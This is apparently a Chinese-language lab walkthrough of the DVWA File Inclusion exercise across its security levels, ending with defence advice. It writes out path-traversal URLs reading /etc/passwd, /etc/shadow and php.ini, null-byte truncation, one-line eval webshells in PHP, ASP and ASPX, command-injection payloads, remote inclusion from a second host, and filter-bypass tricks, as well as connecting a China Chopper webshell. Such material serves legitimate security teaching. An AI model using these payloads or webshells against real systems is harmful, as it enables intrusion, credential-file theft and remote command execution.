一)DVWA——File_include基本原理
二)环境准备
三)实际操作
low
本地
方法一
方法二
方法三
方法四
方法五
方法五的参考
远程
方法一
方法二
medium
本地
方法一
远程
方法一
high
方法一
方法二
impossible
防御方法
四)参考文献
——————————————————————————————————————
一)DVWA——File_include基本原理:
二)环境准备:
文件包含漏洞分为RFI(远程文件包含)和LFI(本地文件包含漏洞)
1.本地文件包含(Local File Include)
2.远程文件包含(Remote File Include)
——需开启PHP文件中的allow_url_include=on和allow_url_fopen=on
DVWA——File_include——low
源代码:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到,服务器端对page参数没有做任何的过滤跟检查。
在WEB页面回显中有三个文件可打开,file1.php、file2.php、file3.php
,点击则会转到该PHP文件所写的页面:
以上可知:通过page=xxx来打开相应的文件,此时漏洞点就暴露出来,现实中,恶意的攻击者也绝对不会乖乖点击这些链接,因此page参数是不可控的。此时我们可以尝试打开一些私密性的文件,以 /etc/passwd
(Linux中的)和 /var/www/phpinfo.php
(Linux中的)文件为例,只要有足够的权限,在此处就可以打开想打开的文件。
方法一:
我们尝试着包含一个不存在的本地文件 haha.php (或者是路径错误的文件):
尝试包含Linux中的文件 /phpinfo.php :(报错,显示没有这个文件,说明不是服务器系统不是Linux)
再尝试包含Linux中的配置文件 /etc/shadow :(报错,显示没有这个文件,说明不是服务器系统不是Linux)
同时还发现页面错误信息暴露了服务器绝对路径:E:\phpStudy\WWW.
第一行的那个Warning就是找不到我们指定的haha.php文件,也就是包含不到我们指定的文件,所以Warning。
第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
我们可以使用服务器绝对路径进行伪造:
Windows系统:
http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini
Linux系统:
http://192.168.67.143/dvwa/vulnerabilities/fi/page=/etc/passwd(可以直接读取已存在的敏感文件)
http://192.168.67.143/dvwa/vulnerabilities/fi/page=/etc/shadow(可以直接读取已存在的敏感文件)
此时成功读取了服务器的php.ini文件:
也能成功读取服务器的phpinfo.php文件:
注:服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。
上面是绝对路径,下面借助相对路径进行伪造:
绝对路是:
1)http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini(E:\phpStudy\WWW是绝对的)
2)http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.143/dvwa/php.ini
(和1)同理)
相对路径:
1)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\phpinfo.php
2)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=..\..\..\dvwa\php.ini
3)http://192.168.67.143/dvwa/vulnerabilities/fi/?page=../../../dvwa/php.ini
(和2是等效的)
注:..\是不可以随意不限制个数的,是要在已知绝对路径基础上
(知道绝对路径的层次不知道每层所存放的具体文件位置)
同时,前面通过伪造读取php.ini文件,发现配置文件中Magic_quote_gpc选项为off。在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,我们可以在文件名中使用%00进行截断(使用%00截断可以绕过某些过滤规则,例如要求page参数的后缀必须为php,这时链接A会读取失败,而链接B可以绕过规则成功读取。),也就是说文件名中%00后的内容不会被识别,即下面两个url是完全等效的:
A)http://192.168.67.143/dvwa/vulnerabilities/fi/page=..\..\..\dvwa\php.ini
B)http://192.168.67.143/dvwa/vulnerabilities/fi/page=..\..\..\dvwa\php.ini%0012.php
本地(192.168.67.143)进入文件上传 File Upload 模块上传 wjbh.txt 文件,并复制上传链接的相对路径:
回到文件包含模块利用上面得到的相对路径构造URL:
http://192.168.67.143/dvwa/vulnerabilities/fi/page=../../hackable/uploads/wjbh.txt
点击进入,可以看到txt文件中的php脚本成功显示在页面上:
方法三:
编写一个木马文件(muma.txt)并读取执行文件,内容如下:
PHP一句话木马: @eval($_POST['key']);?>
ASP一句话木马:<%eval request['key']%>
ASPX一句话木马:<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>
将此木马文件放置到本地的网站根目录下(E:/phpstudy/WWW)执行之后,页面回显为空,此时已经执行我们构造的一句话木马,在 Command Injection命令执行漏洞中可以查看到:
在命令执行漏洞中可以构造如下payload:
windows:
1) || dir E:\phpstudy\www /b
2) 127.0.0.1 && dir E:\phpstudy\www /b
linux:
|| ls /var/www
或者使用下面的url也是起到同样的效果:
PHP一句话木马文件创建成功就可以使用中国菜刀连接,以执行任何操作(任意命令执行)【用中国菜刀连接,测试该PHP一句话木马是否生效】:
打开中国菜刀——进入如下界面——右键点击“添加”:
此时会弹出一个添加shell的对话框,填写木马文件的路径(如果填写的路径中存在对应的文件,那么配置中的信息会自动显示出来),地址后面的小框框里面的“key”就“口令”,也就是 这里的“key”。下面配置项如果知道用户名密码就填,不知道就不填,也不会影响文件管理和虚拟终端这两个功能,只是不能查看数据库了:
中国菜刀连接成功获得webshell权限,此时我们可以对目标(此处为本地机器)进行任意操作,如:删除文件,添加脚本文件,查看文件等等。
方法四:
结合文件上传漏洞(为了获取文件的路径,本地搭建的环境自然是知道路径的,但是如果是实际中的,那么要中国菜刀连接的目标主机就要先获取木马文件的路径才能连接)【结合文件上传漏洞以便先把一句话木马上传到服务器端,更多用于远程文件包含】:
选择一句话木马文件(muma.php)将它上传,上传成功会显示木马文件的相对完整路径:
方法五:
以上通过命令执行和文件上传都是有前提条件的,命令执行要先知道完整路径,文件上传也是,并且文件上传最终显示的只是相对路径(我们可以利用获取到的相对路径构造url进行绕过),所以下面结合命令执行漏洞通过 dos命令的dir命令显示出一句话木马文件 muma.php 的完整路径,再进行菜刀连接:
此时就获取到了muma.php 的完整路径,在命令执行中尝试实现:
如果连文件所在磁盘都不知道,可以输入:diskpart(要以管理员身份打开),再输入list ? 查看list命令的使用方法,再输入:list volume 查看目标机中所有磁盘:
之后可以每个磁盘逐一去尝试:
muma.php 不在C盘:
muma.php 不在D盘:
muma.php 在E盘:
在命令执行中尝试:
此时知道了目标机器中所有的磁盘后,Ctrl+C 就会将dos窗口自动关闭,此时我们接着在dvwa的命令执行中构造payload以确定一句话木马的完整路径:
方法五的参考:
Linux和Windows中find命令的使用
Linux和Windows中find命令和dir命令的使用(简洁明了)
Windows中where命令查看指定命令所在的位置
知道文件所在磁盘后用tree命令显示整个磁盘结构
查看Windows系统磁盘信息(list列出所有磁盘)
DVWA解决乱码问题(有效的最快方式)
远程文件包含:
方法一
在远程服务器192.168.67.140 上传一个 phpinfo.txt 文件:
构造url:http://192.168.67.143/dvwa/vulnerabilities/fi/page=http://192.168.67.140/phpinfo.txt
此时提示phpinfo.txt文件中有错误:缺少分号或者逗号(在第4行),进行修改:
此时再次在客户端访问就成功读取phpinfo.txt文件内容并执行了文件中的函数:
为了增加隐蔽性,可以对 http://192.168.67.143/phpinfo.txt
进行编码:
url编码:http%3a%2f%2f192.168.67.140%2fphpinfo.txt
方法二:
先在远程主机192.168.67.140中编写好一个一句话木马(muma.asp):
构造url:
http://192.168.67.143/dvwa/vulnerabilities/fi/?page=http://192.168.67.140/muma11.asp
DVWA——File_include——medium
核心代码:
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
$file=str_replace(array("http://","https://"),"",$file);
$file=str_replace(array("../","..\""),"",$file);
>
可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 "../", "..\""
替换为空字符,即删除。但是实际上,使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。
例如:page=hthttp://tp://192.168.67.143/phpinfo.txt时,str_replace函
数会将http://删除,于是就变成了:page=http://192.168.5.12/phpinfo.txt,
成功执行远程命令
同时,因为替换的只是../ 或者 ..\
,所以对采用绝对路径的方式包含文件是不会受到任何限制的,下面进行详细讲解:
本地文件包含:
此时对于本地文件包含如果采用绝对路径方式那么medium的限制对于它不起作用,因此仍可以使用low级别的绝对路径方法读取文件内容,但是对于本地文件包含如果采用相对路径方式那么如果是 …\ 就不用书双写绕过(因为是对…" 进行绕过不是对…\进行绕过),如果是就 …/ 进行双写绕过了。
方法一:
http://192.168.67.143/dvwa/vulnerabilities/fi/page=…/./…/./…/./dvwa/php.ini
1)http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:\phpStudy\WWW\dvwa\php.ini
2)http://192.168.67.143/dvwa/vulnerabilities/fi/page=E:/phpStudy/WWW/dvwa/php.ini
绝对路径不受任何影响,读取成功:
远程文件包含:
方法一:
此时对于远程文件包含而言,因为url中一定需要http或者https所以一定要双写绕过,此时low级别的方法已经不再适用了,如下图会发现采用low级别的远程文件包含方法无法成功读取文件:
1)http://192.168.67.143/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.67.140/phpinfo.txt
2)http://192.168.67.143/dvwa/vulnerabilities/fi/page=hthttps://tps://192.168.67.140/phpinfo.txt
尝试使用low中的方法——进行url编码,发现不能绕过替换规则,因为解码是在浏览器端完成的,发送过去的page参数依然是http://192.168.67.140/phpinfo.txt,因此读取失败。但是如果先进行双写之后再进行url编码那么可以成功绕过:
DVWA——File_include——high
核心代码:
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Inputvalidation
if(!fnmatch("file*",$file)&&$file!="include.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>
可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。看似安全,但其实我们依然可以利用file协议绕过防护策略。file协议我们并不陌生,当用浏览器打开一个本地文件时,用的就是file协议,如下图:
方法一:
构造url:
http://192.168.67.143/dvwa/vulnerabilities/fi/page=file:///E:/phpStudy/WWW/dvwa/php.ini
成功读取了服务器的配置文件:
成功读取了自己编写的脚本:
由于file协议只支持本地文件读取,不支持远程文件执行,就没办法执行远程文件(当然可以利用文件上传漏洞配合执行文件包含) 。
方法二:
当我们想包含一句话木马时,必须配合文件上传漏洞,先把一句话木马上传到服务器端,然后再文件包含,用菜刀连接。
我们先把包含一句话木马的图片利用文件上传漏洞上传到服务器端,然后利用文件包含漏洞和file协议包含该漏洞(需要知道上传文件的绝对路径),从而实现任意命令执行。
而文件包含除了能进行任意文件读取之外,在一开始我们提到它可以执行任意命令,但是需要配合文件上传漏洞利用。首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。
DVWA——File_include——impossible
核心代码:
<php
//Thepagewewishtodisplay
$file=$_GET['page'];
//Onlyallowinclude.phporfile{1..3}.php
if($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){
//Thisisn'tthepagewewant!
echo"ERROR:Filenotfound!";
exit;
}
>
可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
防御方法:
1、严格判断包含中的参数是否外部可控。
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含
参考文献:
文件包含的最佳选择(详细基础方式)
DVWA亲测文件包含漏洞
文件包含一句话木马中国菜刀
谢公子自己写的file_include解决方法
文件包含的基础解决方法(全面)